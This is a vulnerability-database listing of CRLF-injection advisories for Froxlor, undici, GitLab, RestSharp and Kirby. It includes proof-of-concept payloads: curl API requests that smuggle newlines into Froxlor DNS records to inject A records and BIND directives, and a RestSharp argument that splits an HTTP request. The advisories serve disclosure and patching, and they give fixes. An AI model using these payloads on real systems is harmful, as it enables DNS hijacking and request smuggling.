CWE-93
AllowedImproper Neutralization of CRLF Sequences ('CRLF Injection')
Abstraction: Base · Status: Draft
The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.
433 vulnerabilities reference this CWE, most recent first.
GHSA-47HF-23PW-3M8C
Vulnerability from github – Published: 2026-04-16 00:47 – Updated: 2026-04-24 20:54Summary
DomainZones::add() accepts arbitrary DNS record types without a whitelist and does not sanitize newline characters in the content field. When a DNS type not covered by the if/elseif validation chain is submitted (e.g., NAPTR, PTR, HINFO), content validation is entirely bypassed. Embedded newline characters in the content survive trim() processing, are stored in the database, and are written directly into BIND zone files via DnsEntry::__toString(). An authenticated customer can inject arbitrary DNS records and BIND directives ($INCLUDE, $ORIGIN, $GENERATE) into their domain's zone file.
Details
Missing type whitelist — DomainZones.php:93:
The type parameter is accepted directly from user input with no validation against allowed values:
// lib/Froxlor/Api/Commands/DomainZones.php:93
$type = $this->getParam('type', true, 'A');
The if/elseif chain at lines 170-317 validates content only for 13 known types: A, AAAA, CAA, CNAME, DNAME, LOC, MX, NS, RP, SRV, SSHFP, TLSA, TXT. Any type not in this list falls through with no content validation at all. There is a TODO comment at line 148 acknowledging missing validation:
// TODO regex validate content for invalid characters
Missing newline sanitization — DomainZones.php:154:
The content field only receives trim(), which strips leading/trailing whitespace but preserves embedded newline characters:
// lib/Froxlor/Api/Commands/DomainZones.php:154
$content = trim($content);
Unsafe zone file output — DnsEntry.php:83:
DnsEntry::__toString() concatenates content directly into zone file format without escaping:
// lib/Froxlor/Dns/DnsEntry.php:83
return $this->record . "\t" . $this->ttl . "\t" . $this->class . "\t" . $this->type . "\t"
. (($this->priority >= 0 && ($this->type == 'MX' || $this->type == 'SRV')) ? $this->priority . "\t" : "")
. $_content . PHP_EOL;
Newlines in $_content produce new lines in the zone file, each parsed by BIND as an independent resource record or directive.
Zone file write — Bind.php:121:
// lib/Froxlor/Cron/Dns/Bind.php:121
fwrite($zonefile_handler, $zoneContent . $subzones);
The AntiXSS filter applied at the API layer (Api.php:91) targets HTML/JS XSS vectors and does not strip newline characters. The web UI form restricts types via a dropdown (formfield.dns_add.php:42-56), but this is client-side only — the server-side DomainZones::add() has no corresponding whitelist.
Execution flow:
1. Customer sends API request with type=NAPTR and content containing \n-separated lines
2. getParam() returns raw values without sanitization
3. Type NAPTR matches none of the if/elseif conditions — no content validation runs
4. trim($content) preserves embedded newlines
5. Content is inserted into domain_dns table via prepared statement
6. DNS cron creates DnsEntry objects from DB records (Dns.php:297)
7. DnsEntry::__toString() outputs content with embedded newlines into zone format
8. Bind.php:121 writes zone to disk; BIND loads the file and processes injected lines as records
PoC
Step 1: Inject a DNS record with embedded newlines via API
curl -s -X POST 'https://froxlor.example.com/api.php' \
-u 'APIKEY:APISECRET' \
-H 'Content-Type: application/json' \
-d '{
"command": "DomainZones.add",
"params": {
"id": 1,
"type": "NAPTR",
"content": "100 10 \"\" \"\" \"\" .\n@ 300 IN A 1.2.3.4\n@ 300 IN NAPTR 100 10 \"\" \"\" \"\" ."
}
}'
Expected: HTTP 200 with success response. The record is stored in the database.
Step 2: Wait for DNS cron to rebuild zones (or trigger manually)
# As admin, trigger the DNS rebuild cron
php /var/www/froxlor/scripts/froxlor_master_cronjob.php --force --dns
Step 3: Inspect the generated zone file
cat /etc/bind/domains/example.com.zone
Expected zone file content includes injected lines:
@ 18000 IN NAPTR 100 10 "" "" "" .
@ 300 IN A 1.2.3.4
@ 300 IN NAPTR 100 10 "" "" "" .
The line @ 300 IN A 1.2.3.4 is parsed by BIND as an independent A record pointing the domain to the attacker's IP.
Step 4: Verify BIND directive injection
curl -s -X POST 'https://froxlor.example.com/api.php' \
-u 'APIKEY:APISECRET' \
-H 'Content-Type: application/json' \
-d '{
"command": "DomainZones.add",
"params": {
"id": 1,
"type": "NAPTR",
"content": "100 10 \"\" \"\" \"\" .\n$GENERATE 1-255 $.0.168.192.in-addr.arpa. PTR host-$.example.com."
}
}'
This injects a $GENERATE directive that creates 255 PTR records.
Impact
An authenticated customer with DNS editing enabled can:
- Inject arbitrary DNS records bypassing all content validation — including A/AAAA records pointing the domain to attacker-controlled IPs, redirecting legitimate traffic.
- Manipulate email authentication by injecting TXT records to override SPF, DKIM, or DMARC policies, enabling email spoofing for the domain.
- Inject BIND server directives (
$INCLUDE,$ORIGIN,$GENERATE) that escape the DNS record context and can attempt to include local server files, alter zone origin, or mass-generate records. - Cause DNS service disruption by injecting malformed records or conflicting directives that cause the zone file to fail loading, disrupting DNS resolution for all records in the domain.
While this requires an authenticated customer account, DNS editing is a standard feature in shared hosting environments. In a multi-tenant deployment, a malicious customer can abuse this to disrupt the DNS server or inject records that bypass validation controls designed to protect zone integrity.
Recommended Fix
1. Add a type whitelist in DomainZones::add() (primary fix):
// lib/Froxlor/Api/Commands/DomainZones.php — after line 93
$type = $this->getParam('type', true, 'A');
$allowed_types = ['A', 'AAAA', 'CAA', 'CNAME', 'DNAME', 'LOC', 'MX', 'NS', 'RP', 'SRV', 'SSHFP', 'TLSA', 'TXT'];
if (!in_array($type, $allowed_types)) {
throw new Exception("DNS record type '" . htmlspecialchars($type) . "' is not supported", 406);
}
2. Strip newline characters from content (defense-in-depth):
// lib/Froxlor/Api/Commands/DomainZones.php — replace line 154
$content = trim(str_replace(["\r", "\n"], '', $content));
3. Sanitize in DnsEntry::__toString() as a belt-and-suspenders measure:
// lib/Froxlor/Dns/DnsEntry.php — at the start of __toString()
$_content = str_replace(["\r", "\n"], '', $this->content);
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "froxlor/froxlor"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41230"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T00:47:26Z",
"nvd_published_at": "2026-04-23T04:16:19Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`DomainZones::add()` accepts arbitrary DNS record types without a whitelist and does not sanitize newline characters in the `content` field. When a DNS type not covered by the if/elseif validation chain is submitted (e.g., `NAPTR`, `PTR`, `HINFO`), content validation is entirely bypassed. Embedded newline characters in the content survive `trim()` processing, are stored in the database, and are written directly into BIND zone files via `DnsEntry::__toString()`. An authenticated customer can inject arbitrary DNS records and BIND directives (`$INCLUDE`, `$ORIGIN`, `$GENERATE`) into their domain\u0027s zone file.\n\n## Details\n\n**Missing type whitelist \u2014 `DomainZones.php:93`:**\n\nThe `type` parameter is accepted directly from user input with no validation against allowed values:\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php:93\n$type = $this-\u003egetParam(\u0027type\u0027, true, \u0027A\u0027);\n```\n\nThe if/elseif chain at lines 170-317 validates content only for 13 known types: `A`, `AAAA`, `CAA`, `CNAME`, `DNAME`, `LOC`, `MX`, `NS`, `RP`, `SRV`, `SSHFP`, `TLSA`, `TXT`. Any type not in this list falls through with no content validation at all. There is a `TODO` comment at line 148 acknowledging missing validation:\n\n```php\n// TODO regex validate content for invalid characters\n```\n\n**Missing newline sanitization \u2014 `DomainZones.php:154`:**\n\nThe content field only receives `trim()`, which strips leading/trailing whitespace but preserves embedded newline characters:\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php:154\n$content = trim($content);\n```\n\n**Unsafe zone file output \u2014 `DnsEntry.php:83`:**\n\n`DnsEntry::__toString()` concatenates content directly into zone file format without escaping:\n\n```php\n// lib/Froxlor/Dns/DnsEntry.php:83\nreturn $this-\u003erecord . \"\\t\" . $this-\u003ettl . \"\\t\" . $this-\u003eclass . \"\\t\" . $this-\u003etype . \"\\t\"\n . (($this-\u003epriority \u003e= 0 \u0026\u0026 ($this-\u003etype == \u0027MX\u0027 || $this-\u003etype == \u0027SRV\u0027)) ? $this-\u003epriority . \"\\t\" : \"\")\n . $_content . PHP_EOL;\n```\n\nNewlines in `$_content` produce new lines in the zone file, each parsed by BIND as an independent resource record or directive.\n\n**Zone file write \u2014 `Bind.php:121`:**\n\n```php\n// lib/Froxlor/Cron/Dns/Bind.php:121\nfwrite($zonefile_handler, $zoneContent . $subzones);\n```\n\nThe `AntiXSS` filter applied at the API layer (`Api.php:91`) targets HTML/JS XSS vectors and does not strip newline characters. The web UI form restricts types via a dropdown (`formfield.dns_add.php:42-56`), but this is client-side only \u2014 the server-side `DomainZones::add()` has no corresponding whitelist.\n\n**Execution flow:**\n1. Customer sends API request with `type=NAPTR` and `content` containing `\\n`-separated lines\n2. `getParam()` returns raw values without sanitization\n3. Type `NAPTR` matches none of the if/elseif conditions \u2014 no content validation runs\n4. `trim($content)` preserves embedded newlines\n5. Content is inserted into `domain_dns` table via prepared statement\n6. DNS cron creates `DnsEntry` objects from DB records (`Dns.php:297`)\n7. `DnsEntry::__toString()` outputs content with embedded newlines into zone format\n8. `Bind.php:121` writes zone to disk; BIND loads the file and processes injected lines as records\n\n## PoC\n\n**Step 1: Inject a DNS record with embedded newlines via API**\n\n```bash\ncurl -s -X POST \u0027https://froxlor.example.com/api.php\u0027 \\\n -u \u0027APIKEY:APISECRET\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"command\": \"DomainZones.add\",\n \"params\": {\n \"id\": 1,\n \"type\": \"NAPTR\",\n \"content\": \"100 10 \\\"\\\" \\\"\\\" \\\"\\\" .\\n@ 300 IN A 1.2.3.4\\n@ 300 IN NAPTR 100 10 \\\"\\\" \\\"\\\" \\\"\\\" .\"\n }\n }\u0027\n```\n\nExpected: HTTP 200 with success response. The record is stored in the database.\n\n**Step 2: Wait for DNS cron to rebuild zones (or trigger manually)**\n\n```bash\n# As admin, trigger the DNS rebuild cron\nphp /var/www/froxlor/scripts/froxlor_master_cronjob.php --force --dns\n```\n\n**Step 3: Inspect the generated zone file**\n\n```bash\ncat /etc/bind/domains/example.com.zone\n```\n\nExpected zone file content includes injected lines:\n\n```\n@ 18000 IN NAPTR 100 10 \"\" \"\" \"\" .\n@ 300 IN A 1.2.3.4\n@ 300 IN NAPTR 100 10 \"\" \"\" \"\" .\n```\n\nThe line `@ 300 IN A 1.2.3.4` is parsed by BIND as an independent A record pointing the domain to the attacker\u0027s IP.\n\n**Step 4: Verify BIND directive injection**\n\n```bash\ncurl -s -X POST \u0027https://froxlor.example.com/api.php\u0027 \\\n -u \u0027APIKEY:APISECRET\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"command\": \"DomainZones.add\",\n \"params\": {\n \"id\": 1,\n \"type\": \"NAPTR\",\n \"content\": \"100 10 \\\"\\\" \\\"\\\" \\\"\\\" .\\n$GENERATE 1-255 $.0.168.192.in-addr.arpa. PTR host-$.example.com.\"\n }\n }\u0027\n```\n\nThis injects a `$GENERATE` directive that creates 255 PTR records.\n\n## Impact\n\nAn authenticated customer with DNS editing enabled can:\n\n1. **Inject arbitrary DNS records** bypassing all content validation \u2014 including A/AAAA records pointing the domain to attacker-controlled IPs, redirecting legitimate traffic.\n2. **Manipulate email authentication** by injecting TXT records to override SPF, DKIM, or DMARC policies, enabling email spoofing for the domain.\n3. **Inject BIND server directives** (`$INCLUDE`, `$ORIGIN`, `$GENERATE`) that escape the DNS record context and can attempt to include local server files, alter zone origin, or mass-generate records.\n4. **Cause DNS service disruption** by injecting malformed records or conflicting directives that cause the zone file to fail loading, disrupting DNS resolution for all records in the domain.\n\nWhile this requires an authenticated customer account, DNS editing is a standard feature in shared hosting environments. In a multi-tenant deployment, a malicious customer can abuse this to disrupt the DNS server or inject records that bypass validation controls designed to protect zone integrity.\n\n## Recommended Fix\n\n**1. Add a type whitelist in `DomainZones::add()` (primary fix):**\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php \u2014 after line 93\n$type = $this-\u003egetParam(\u0027type\u0027, true, \u0027A\u0027);\n\n$allowed_types = [\u0027A\u0027, \u0027AAAA\u0027, \u0027CAA\u0027, \u0027CNAME\u0027, \u0027DNAME\u0027, \u0027LOC\u0027, \u0027MX\u0027, \u0027NS\u0027, \u0027RP\u0027, \u0027SRV\u0027, \u0027SSHFP\u0027, \u0027TLSA\u0027, \u0027TXT\u0027];\nif (!in_array($type, $allowed_types)) {\n throw new Exception(\"DNS record type \u0027\" . htmlspecialchars($type) . \"\u0027 is not supported\", 406);\n}\n```\n\n**2. Strip newline characters from content (defense-in-depth):**\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php \u2014 replace line 154\n$content = trim(str_replace([\"\\r\", \"\\n\"], \u0027\u0027, $content));\n```\n\n**3. Sanitize in `DnsEntry::__toString()` as a belt-and-suspenders measure:**\n\n```php\n// lib/Froxlor/Dns/DnsEntry.php \u2014 at the start of __toString()\n$_content = str_replace([\"\\r\", \"\\n\"], \u0027\u0027, $this-\u003econtent);\n```",
"id": "GHSA-47hf-23pw-3m8c",
"modified": "2026-04-24T20:54:04Z",
"published": "2026-04-16T00:47:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-47hf-23pw-3m8c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41230"
},
{
"type": "WEB",
"url": "https://github.com/froxlor/froxlor/commit/47a8af5d9523cb6ec94567405cfc2e294d3a1442"
},
{
"type": "PACKAGE",
"url": "https://github.com/froxlor/froxlor"
},
{
"type": "WEB",
"url": "https://github.com/froxlor/froxlor/releases/tag/2.3.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Froxlor has a BIND Zone File Injection via Unsanitized DNS Record Content in DomainZones::add()"
}
GHSA-4992-7RV2-5PVQ
Vulnerability from github – Published: 2026-03-13 20:41 – Updated: 2026-03-13 20:41Impact
When an application passes user-controlled input to the upgrade option of client.request(), an attacker can inject CRLF sequences (\r\n) to:
- Inject arbitrary HTTP headers
- Terminate the HTTP request prematurely and smuggle raw data to non-HTTP services (Redis, Memcached, Elasticsearch)
The vulnerability exists because undici writes the upgrade value directly to the socket without validating for invalid header characters:
// lib/dispatcher/client-h1.js:1121
if (upgrade) {
header += `connection: upgrade\r\nupgrade: ${upgrade}\r\n`
}
Patches
Patched in the undici version v7.24.0 and v6.24.0. Users should upgrade to this version or later.
Workarounds
Sanitize the upgrade option string before passing to undici:
function sanitizeUpgrade(value) {
if (/[\r\n]/.test(value)) {
throw new Error('Invalid upgrade value')
}
return value
}
client.request({
upgrade: sanitizeUpgrade(userInput)
})
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.24.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-1527"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T20:41:26Z",
"nvd_published_at": "2026-03-12T21:16:25Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nWhen an application passes user-controlled input to the `upgrade` option of `client.request()`, an attacker can inject CRLF sequences (`\\r\\n`) to:\n\n1. Inject arbitrary HTTP headers\n2. Terminate the HTTP request prematurely and smuggle raw data to non-HTTP services (Redis, Memcached, Elasticsearch)\n\nThe vulnerability exists because undici writes the `upgrade` value directly to the socket without validating for invalid header characters:\n\n```javascript\n// lib/dispatcher/client-h1.js:1121\nif (upgrade) {\n header += `connection: upgrade\\r\\nupgrade: ${upgrade}\\r\\n`\n}\n```\n\n### Patches\n\n Patched in the undici version v7.24.0 and v6.24.0. Users should upgrade to this version or later.\n\n### Workarounds\n\nSanitize the `upgrade` option string before passing to undici:\n\n```javascript\nfunction sanitizeUpgrade(value) {\n if (/[\\r\\n]/.test(value)) {\n throw new Error(\u0027Invalid upgrade value\u0027)\n }\n return value\n}\n\nclient.request({\n upgrade: sanitizeUpgrade(userInput)\n})\n```",
"id": "GHSA-4992-7rv2-5pvq",
"modified": "2026-03-13T20:41:26Z",
"published": "2026-03-13T20:41:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-4992-7rv2-5pvq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1527"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3487198"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodejs/undici"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Undici has CRLF Injection in undici via `upgrade` option"
}
GHSA-49RG-2GMX-QJMR
Vulnerability from github – Published: 2022-05-24 16:45 – Updated: 2022-05-24 16:45GitLab CE/EE versions 8.18 up to 11.x before 11.3.11, 11.4.x before 11.4.8, and 11.5.x before 11.5.1 have CRLF Injection in Project Mirroring when using the Git protocol.
{
"affected": [],
"aliases": [
"CVE-2018-19585"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-05-17T16:29:00Z",
"severity": "HIGH"
},
"details": "GitLab CE/EE versions 8.18 up to 11.x before 11.3.11, 11.4.x before 11.4.8, and 11.5.x before 11.5.1 have CRLF Injection in Project Mirroring when using the Git protocol.",
"id": "GHSA-49rg-2gmx-qjmr",
"modified": "2022-05-24T16:45:58Z",
"published": "2022-05-24T16:45:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-19585"
},
{
"type": "WEB",
"url": "https://about.gitlab.com/2018/11/28/security-release-gitlab-11-dot-5-dot-1-released"
},
{
"type": "WEB",
"url": "https://about.gitlab.com/blog/categories/releases"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/160516/GitLab-11.4.7-Remote-Code-Execution.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/160699/GitLab-11.4.7-Remote-Code-Execution.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4RR6-2V9V-WCPC
Vulnerability from github – Published: 2024-08-29 19:30 – Updated: 2024-10-01 21:48Summary
The second argument to RestRequest.AddHeader (the header value) is vulnerable to CRLF injection. The same applies to RestRequest.AddOrUpdateHeader and RestClient.AddDefaultHeader.
Details
The way HTTP headers are added to a request is via the HttpHeaders.TryAddWithoutValidation method: https://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32 This method does not check for CRLF characters in the header value.
This means that any headers from a RestSharp.RequestHeaders object are added to the request in such a way that they are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.
PoC
The below example code creates a console app that takes one command line variable "api key" and then makes a request to some status page with the provided key inserted in the "Authorization" header:
using RestSharp;
class Program
{
static async Task Main(string[] args)
{
// Usage: dotnet run <api key>
var key = args[0];
var options = new RestClientOptions("http://insert.some.site.here");
var client = new RestClient(options);
var request = new RestRequest("/status", Method.Get).AddHeader("Authorization", key);
var response = await client.ExecuteAsync(request);
Console.WriteLine($"Status: {response.StatusCode}");
Console.WriteLine($"Response: {response.Content}");
}
}
This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):
anonymous@ubuntu-sofia-672448:~$ dotnet RestSharp-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here'
Status: OK
Response: <html></html>
The application intends to send a single request of the form:
GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: <api key>
User-Agent: RestSharp/111.4.1.0
Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml
Accept-Encoding: gzip, deflate, br
But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:
GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: test
User-Agent: injected header!
and
GET /smuggled HTTP/1.1
Host: insert.some.site.here
User-Agent: RestSharp/111.4.1.0
Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml
Accept-Encoding: gzip, deflate, br
This can be confirmed by checking the access logs on the server where these commands were run (with insert.some.site.here pointing to localhost):
anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log
127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!"
127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "RestSharp/111.4.1.0"
Impact
If an application using the RestSharp library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.
Strictly speaking this is a potential vulnerability in applications using RestSharp, not in RestSharp itself, but I would argue that at the very least there needs to be a warning about this behaviour in the RestSharp documentation.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "RestSharp"
},
"ranges": [
{
"events": [
{
"introduced": "107.0.0-preview.1"
},
{
"fixed": "112.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-45302"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-74",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-29T19:30:51Z",
"nvd_published_at": "2024-08-29T22:15:05Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe second argument to `RestRequest.AddHeader` (the header value) is vulnerable to CRLF injection. The same applies to `RestRequest.AddOrUpdateHeader` and `RestClient.AddDefaultHeader`.\n\n### Details\nThe way HTTP headers are added to a request is via the `HttpHeaders.TryAddWithoutValidation` method: \u003chttps://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32\u003e This method does not check for CRLF characters in the header value.\n\nThis means that any headers from a `RestSharp.RequestHeaders` object are added to the request in such a way that they are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.\n\n### PoC\nThe below example code creates a console app that takes one command line variable \"api key\" and then makes a request to some status page with the provided key inserted in the \"Authorization\" header:\n\n```c#\nusing RestSharp;\n\nclass Program\n{\n static async Task Main(string[] args)\n {\n // Usage: dotnet run \u003capi key\u003e\n var key = args[0];\n var options = new RestClientOptions(\"http://insert.some.site.here\");\n var client = new RestClient(options);\n var request = new RestRequest(\"/status\", Method.Get).AddHeader(\"Authorization\", key);\n var response = await client.ExecuteAsync(request);\n Console.WriteLine($\"Status: {response.StatusCode}\");\n Console.WriteLine($\"Response: {response.Content}\");\n }\n}\n```\n\nThis application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):\n\n```bash\nanonymous@ubuntu-sofia-672448:~$ dotnet RestSharp-cli.dll $\u0027test\\r\\nUser-Agent: injected header!\\r\\n\\r\\nGET /smuggled HTTP/1.1\\r\\nHost: insert.some.site.here\u0027\nStatus: OK\nResponse: \u003chtml\u003e\u003c/html\u003e\n```\n\nThe application intends to send a single request of the form:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: \u003capi key\u003e\nUser-Agent: RestSharp/111.4.1.0\nAccept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml\nAccept-Encoding: gzip, deflate, br\n```\nBut as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: test\nUser-Agent: injected header!\n```\nand\n```http\nGET /smuggled HTTP/1.1\nHost: insert.some.site.here\nUser-Agent: RestSharp/111.4.1.0\nAccept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml\nAccept-Encoding: gzip, deflate, br\n```\n\nThis can be confirmed by checking the access logs on the server where these commands were run (with `insert.some.site.here` pointing to localhost):\n```bash\nanonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log\n127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] \"GET /status HTTP/1.1\" 200 240 \"-\" \"injected header!\"\n127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] \"GET /smuggled HTTP/1.1\" 404 436 \"-\" \"RestSharp/111.4.1.0\"\n```\n\n### Impact\nIf an application using the RestSharp library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.\n\nStrictly speaking this is a potential vulnerability in applications using RestSharp, not in RestSharp itself, but I would argue that at the very least there needs to be a warning about this behaviour in the RestSharp documentation.\n\n",
"id": "GHSA-4rr6-2v9v-wcpc",
"modified": "2024-10-01T21:48:41Z",
"published": "2024-08-29T19:30:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/restsharp/RestSharp/security/advisories/GHSA-4rr6-2v9v-wcpc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45302"
},
{
"type": "WEB",
"url": "https://github.com/restsharp/RestSharp/commit/0fba5e727d241b1867bd71efc912594075c2934b"
},
{
"type": "PACKAGE",
"url": "https://github.com/restsharp/RestSharp"
},
{
"type": "WEB",
"url": "https://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "CRLF Injection in RestSharp\u0027s `RestRequest.AddHeader` method"
}
GHSA-4V4H-M2QQ-PPGW
Vulnerability from github – Published: 2026-06-18 15:04 – Updated: 2026-06-18 15:04TL;DR
This vulnerability affects Kirby sites and plugins that use the Kirby\Http\Remote class (including Remote::request(), Remote::get(), Remote::post(), and similar helpers) to send outgoing HTTP requests and that pass untrusted, user-controlled data into the headers option of such a request.
By including newline characters in the value of the header, it was possible to inject a separate, independent header that was not intended to be set.
A successful attack requires that an application or plugin forwards attacker-influenced input into a request header value. Sites that only send static, developer-defined headers are not affected. The attack does not target Panel users or site visitors directly; it targets the remote service that Kirby connects to.
In Kirby's default configuration, the Remote class is not exposed to untrusted input, so a default installation is not affected. The vulnerability becomes relevant for custom code, plugins, or integrations that build request headers from user input.
Introduction
HTTP header injection (also known as CRLF injection) is a type of vulnerability that allows an attacker to insert additional, attacker-controlled HTTP headers into a request or response. HTTP headers are separated by carriage-return and line-feed characters (\r\n). If untrusted data containing these characters is placed into a header value without sanitization, an attacker can terminate the intended header early and append headers of their own.
For outgoing requests, this means an attacker who controls part of a header value can add or override headers that the application did not intend to send. Depending on the remote service, this can be used to override security-relevant headers (such as Authorization, Host, or Cookie), to smuggle requests, or to poison caches on the upstream system.
Such vulnerabilities are relevant if untrusted input can reach the header values of an outgoing request – for example, a user-configurable API token, a forwarded tracking identifier, or any other value that originates from a request, form field, or content file.
Affected components
The Kirby\Http\Remote class is used throughout Kirby and by plugins to perform outgoing HTTP requests. Its headers option allows callers to define the headers sent with the request.
As the vulnerability is in the way Remote assembles these headers, it affects all code paths that send a Remote request whose header values contain untrusted data. The Kirby core itself has not passed untrusted data in that way, but plugins or custom code might have used the class in such a way.
Impact
In affected releases, header values passed to Remote were handed to the cURL request library without removing newline characters:
The headers option accepted arbitrary strings as header values and forwarded them to the underlying cURL request unchanged. A value containing \r\n was written verbatim to the socket and therefore split into several header lines on the wire.
For example, a single X-Foo header value of "Bar\r\nX-Injected: pwned" produced two separate headers in the outgoing request:
X-Foo: Bar
X-Injected: pwned
The receiving server parsed X-Injected: pwned as its own header. In the same way, an attacker could override a header that the application set earlier in the same request (for example, replacing a legitimate Authorization header).
The vulnerability allows attackers to inject or override HTTP headers in outgoing requests, provided the affected application or plugin includes attacker-controlled data in a header value.
Patches
The problem has been patched in Kirby 4.9.4 and Kirby 5.4.4. Please update to one of these or a later version to fix the vulnerability.
In all of the mentioned releases, we now strip carriage-return and line-feed characters from header values before they are passed to the underlying request, preventing additional headers from being injected.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.9.3"
},
"package": {
"ecosystem": "Packagist",
"name": "getkirby/cms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.9.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.4.3"
},
"package": {
"ecosystem": "Packagist",
"name": "getkirby/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-alpha.1"
},
{
"fixed": "5.4.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50188"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T15:04:46Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
